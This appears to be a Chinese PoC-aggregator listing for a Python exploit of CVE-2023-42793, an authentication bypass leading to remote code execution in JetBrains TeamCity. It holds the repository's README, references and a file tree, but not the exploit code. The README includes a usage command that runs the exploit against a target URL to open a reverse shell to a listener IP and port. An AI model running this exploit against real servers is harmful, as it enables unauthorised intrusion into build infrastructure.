关联漏洞
标题：
JetBrains TeamCity 安全漏洞
(CVE-2023-42793)
描述：JetBrains TeamCity是捷克JetBrains公司的一套分布式构建管理和持续集成工具。该工具提供持续单元测试、代码质量分析和构建问题分析报告等功能。 JetBrains TeamCity 2023.05.4之前版本存在安全漏洞，该漏洞源于攻击者可以绕过身份验证，导致在 TeamCity 服务器上执行RCE 。
描述
JetBrains TeamCity Unauthenticated Remote Code Execution - Python3 Implementation
介绍
# CVE-2023-42793
JetBrains TeamCity before 2023.05.4 is vulnerable to authentication bypass leading to RCE
# Usage
To get a reverse shell
```bash
python3 exploit.py <target_url> <listener_ip> <listener_port>
```
# References
https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/</br>
http://packetstormsecurity.com/files/174860/JetBrains-TeamCity-Unauthenticated-Remote-Code-Execution.html</br>
https://nvd.nist.gov/vuln/detail/cve-2023-42793
文件快照
[4.0K] /data/pocs/afe8cac0a9b234e9fc9f8ea39e1de26ebcf8b811
├── [1.9K] exploit.py
└── [ 477] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。